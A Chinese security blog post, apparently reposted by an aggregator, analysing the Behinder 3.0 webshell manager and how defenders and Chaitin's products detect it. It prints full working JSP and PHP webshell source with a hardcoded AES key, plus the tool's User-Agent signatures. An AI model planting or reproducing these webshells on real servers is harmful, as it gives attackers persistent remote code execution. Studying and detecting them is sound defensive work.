openssl 版本区别_冰蝎的前世今生:3.0新版本下的一些防护思考
微信又改版了,為了我們能一直相見
你的加星和在看對我們非常重要
點擊“長亭安全課堂”——主頁右上角——設為星標?
期待與你的每次見面~
冰蝎(Behinder)是國內黑客圈較火的一款Webshell管理工具。在今年HW開始前,冰蝎突然進行了3.0版本的發布,新版本修改了不少舊版本的流量特征,導致大量WAF、HIDS、Webshell檢測工具失效。
本文將詳細揭秘冰蝎的前世今生,以及對于冰蝎相關攻擊的檢測思路和3.0新版本下的防護思考。
冰蝎的前世在冰蝎這個工具出現以前,中國菜刀一直是國內的白帽子、黑帽子、各種帽子常用的Webshell管理工具。而冰蝎出現以后,很快就被大量攻擊者所接受,取代了菜刀的地位。相比于菜刀,冰蝎具有下面一些優點:
Java開發,支持跨平臺運行
使用加密隧道傳輸數據,盡可能避免流量被WAF或IDS設備所捕獲
更新較為頻繁,作者會聽取社區的意見修改工具
在冰蝎逐漸流行以后,國內各大安全廠商也開始了行動,使用各種方法檢測冰蝎的Webshell和流量,可謂八仙過海各顯神通。
以下是常見的基于流量的檢測方法:
01通過密鑰協商的過程中的一些特征來檢測老版冰蝎工具在連接Webshell的時候會存在一個密鑰協商的過程,這個過程是純明文的數據交換,冰蝎存在這樣的特征:發起一共兩次的密鑰協商,通過比較兩次密鑰協商的返回包中內容的不同部分來獲取其中的密鑰。
在這個協商過程中,防護設備可以結合URL、請求包和返回包的內容以及頭部信息來綜合進行判斷,這種類型檢測的優勢是這部分的流程是冰蝎內置的實現,攻擊者不太好進行修改繞過。而劣勢是在大流量的環境下很容易引起大量的誤報。
02通過Shell交互過程中的HTTP請求特征來檢測冰蝎在發送HTTP請求時存在一些特征,例如其工具中內置了17個User-Agent頭,在用戶沒有自定義的情況下會隨機選擇一個發送。但是這些User-Agent頭大部分是一些老版本的瀏覽器或設備。
這個類型檢測的優勢是檢測方式比較簡單,但是在大流量的環境下很容易引起誤報,一般使用多個特征相結合的方法來改善誤報的情況,并且這部分的特征通常是一些弱特征,攻擊者可以通過定制請求頭、使用代理等方式修改冰蝎的請求包很輕易的來繞過這類的檢測。
03通過Webshell上傳時的流量特征來檢測在真實的攻擊場景下,攻擊者通常是通過文件上傳、文件寫入等方式來寫入冰蝎的Webshell,所以流量設備也可以通過檢測攻擊場景的數據包來發現冰蝎的存在。
這部分的流量形式主要取決于Web應用,是攻擊者不好控制的,而且通常都是以明文形式進行傳輸,所以比較易于檢測。
但是這種檢測方式在遇到非文件上傳等漏洞時,有可能無法捕捉到Webshell的特征。
04通過利用rasp機制來進行檢測冰蝎的java實現是利用defineClass來動態加載字節碼進行執行,利用rasp的機制可以通過執行堆棧的信息來捕捉到冰蝎的最終利用,這種方式的檢測優勢在于不會產生誤報,但是其會產生漏報,例如一些廠商通過堆棧中的惡意包名來檢測,這時候只需要更換包名就可以繞過檢測,并且由于rasp侵入強的特點,比較容易干擾到線上的應用。
冰蝎的今生冰蝎趕在2020年HW前發布了3.0版本,這個版本的冰蝎改動較大,一舉繞過國內大量Webshell檢測引擎和流量檢測引擎。按照官方的說法,這次主要的改動是:
- 去除動態密鑰協商機制,采用預共享密鑰,全程無明文交互,密鑰格式為md5("admin")[0:16]
增加了插件機制,可開發安裝自定義擴展插件
UI框架由awt改為javafx,重寫了大量邏輯
增強了內網穿透功能,在原有的基于HTTP的socks5隧道基礎上,增加了單端口轉發功能,可一鍵將內網端口映射至VPS或者本機端口
從防守方的角度看,這些改動中對防御設備影響最大的是第1點,也就是說,3.0版本的冰蝎不在有密鑰協商的過程,從原理上直接繞過了大量流量檢測設備(大部分設備是通過握手的行為來檢測冰蝎的流量)。
另外,雖然新版默認移除了老版本密鑰協商的邏輯,但是如果用戶仍然使用了老版本的Webshell,也是可以連接的。
我們來對比一下新老版本中JSP客戶端(Webshell)的區別。
老版本JSP Webshell(格式化后):
@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>??classU?extendsClassLoader{? ? ??U(ClassLoaderc) {? ? ? ? ??super(c);? ? ? }? ? ??publicClassg(byte[]b) {? ? ? ? ??returnsuper.defineClass(b,0,b.length);? ? ? }? }%>??if(request.getParameter("pass")!=?null){? ? ? Stringk = (""+ UUID.randomUUID()).replace("-","").substring(16);? ? ? session.putValue("u",k);? ? ? out.print(k);? ? ??return;? }? Cipherc = Cipher.getInstance("AES");? c.init(2,newSecretKeySpec((session.getValue("u")+?"").getBytes(),"AES"));??newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
新版本JSP Webshell(格式化后):
AAAAA@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>??classU?extendsClassLoader{? ? ??U(ClassLoaderc) {? ? ? ? ??super(c);? ? ? }? ? ??publicClassg(byte[]b) {? ? ? ? ??returnsuper.defineClass(b,0,b.length);? ? ? }? }%>??if(request.getMethod().equals("POST")){? ? ? Stringk =?"e45e329feb5d925b";? ? ? session.putValue("u",k);? ? ? Cipherc = Cipher.getInstance("AES");? ? ? c.init(2,newSecretKeySpec(k.getBytes(),"AES"));? ? ??newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);? }%>bbbb
對比兩個文件可以看出
新版Webshell在代碼外增加了AAAAA、bbbb兩個輸出,但實際上刪除或修改這兩個特征對冰蝎的正常連接與使用沒有影響
新版去除了握手的過程,直接將一個寫死在Webshell中的字符串作為AES密鑰解密流量包
實際執行代碼的邏輯并沒有修改,均采用defineClass的方式執行Java字節碼
再來對比一下新老版本中PHP客戶端(Webshell)的區別。
老版本PHP Webshell:<?php @error_reporting(0);session_start();if(isset($_GET['pass']))
{$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print$key;
}else
{$key=$_SESSION['k'];$post=file_get_contents("php://input");if(!extension_loaded('openssl'))
{$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){$post[$i]=?$post[$i]^$key[$i+1&15];
? }
}else
{$post=openssl_decrypt($post,"AES128",$key);
}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];classC{publicfunction__construct($p){eval($p."");}}@newC($params);
}?>
新版本PHPWebshell:
<?php @error_reporting(0);session_start();if($_SERVER['REQUEST_METHOD']===?'POST'){?$key="e45e329feb5d925b";$_SESSION['k']=$key;$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){??$post[$i]=?$post[$i]^$key[$i+1&15];? }}else{$post=openssl_decrypt($post,"AES128",$key);}??$arr=explode('|',$post);??$func=$arr[0];??$params=$arr[1];classC{publicfunction__invoke($p){eval($p."");}}??@call_user_func(newC(),$params);}?>
和JSP版本Webshell類似,PHP版本做了如下修改:
新版去除了握手的過程,直接將一個寫死在Webshell中的字符串作為AES密鑰解密流量包
新版將eval過程放在了魔術方法__invoke中,而老版在構造函數__construct里,部分Webshell檢測引擎可能因此會被繞過
在實際連接時進行抓包,也可以看出二者的差別:
老版本的第一個數據包是一個GET請求,而新版本的第一個數據包即為加密流量了。
如何應對真實場景下的攻防總是相對的,正所謂魔高一尺道高一丈,特殊時期,對于這個“對手”,防守方如何應對呢?
前文提到,在網上公開的文章中,關于如何檢測冰蝎的流量,大家關注的重點都是冰蝎的密鑰協商過程,因為在整個通信的過程中,這部分是明文的,并且特征比較多。但是因為這次更新去除了握手的過程,導致大量流量檢測設備無法再探測冰蝎的流量。
除了可選去掉了密鑰協商過程來對抗檢測,冰蝎也修復了一些容易被流量檢測出來的小問題:
比如紅藍對抗——加密Webshell“冰蝎” 流量 100%識別這篇文章中提到過,老版冰蝎發送請求時Cookie頭的特征問題在新的版本中也已經被修復了:
if(headerName.equalsIgnoreCase("Set-Cookie")){? ? ? ?for(StringcookieValue : headers.get(headerName)){? ? ? ? cookieValue =cookieValue.replaceAll(";[\\s]*path=[\\s\\S]*;?","");? ? ? ? ?cookieValues = cookieValues +?";"+ cookieValue;? ? ? ?}? ? ?cookieValues = cookieValues.startsWith(";")? cookieValues.replaceFirst(";",""): cookieValues;? ? ??break;? ?}
長亭雷池(SafeLine)和牧云(CloudWalker)無需升級即可防護
在以往的對抗中,長亭科技的雷池(SafeLine)下一代Web應用防火墻”和牧云(CloudWalker)主機安全平臺均采用不基于規則的方式檢測冰蝎相關的攻擊,不存在產品現有規則不能涵蓋新版冰蝎WebShell的問題,因此這次冰蝎的更新對于雷池(SafeLine)和牧云(CloudWalker)的檢測能力沒有影響。
對于文件上傳漏洞,雷池(SafeLine)針對攻擊者上傳過程文件進行分析,通過識別常見服務端腳本語言的語法特性,判斷上傳文件是否為WebShell,繼而針對攻擊者訪問行為進行分析,判斷其訪問的文件名稱和參數是否具備調用WebShell特征,進而告警和阻斷。因此不管攻擊者上傳新版或老版冰蝎的Webshell,雷池(SafeLine)無需增加規則或者升級,均可以正常檢測和攔截,檢測結果如下圖所示:
牧云(CloudWalker)利用機器學習、語義分析等多種技術綜合實現WebShell在主機服務器上的檢測,能夠自動監控關鍵路徑,支持包含JSP、JSPX、PHP、ASPX、ASP在內的五種主流Web腳本格式,檢測結果如下圖所示:
對于新版的冰蝎來說,由于握手包去除,進一步地降低了攻擊者的特征。對于甲方來說,之后檢測的重點可能需要轉移到下面幾個地方:
流量端對于文件上傳、文件寫入等漏洞的檢測
服務器端對于兼容冰蝎的Webshell的檢測
對于攻擊者拿到Webshell以后的操作進行檢測,如反彈shell、高危命令執行等
新版冰蝎雖然大幅減少了流量中的特征,但仍然存在一些特征可以被探測:
內置的17個User-Agent頭
JSP Webshell返回包首尾的AAAAA和bbbb
連接的幾個數據包中存在固定大小的數據包
這些特征雖然無法準確判斷出流量的類型,但這些小特征組合出來的新特征,也許能給檢測端提供一些幫助。
總結一下,對于檢測者來說,做好這幾點比較重要:
增強檢測文件上傳、寫入漏洞的能力
增強Webshell檢測能力,對冰蝎Webshell及其變種進行針對性處理
做好文件監控,對于發生變化的可疑文件及時進行記錄報警,方便之后的攻擊的回溯
做好反彈Shell、命令執行等敏感行為的檢測
關注異常流量,出現問題能夠及時解決
最后,附上一份冰蝎內置的17個User-Agent列表:
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"點分享點點贊點在看 《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀
總結
以上是生活随笔為你收集整理的openssl 版本区别_冰蝎的前世今生:3.0新版本下的一些防护思考的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python wmi_python wm
- 下一篇: 捷易拍sdk开发指南.doc_每个And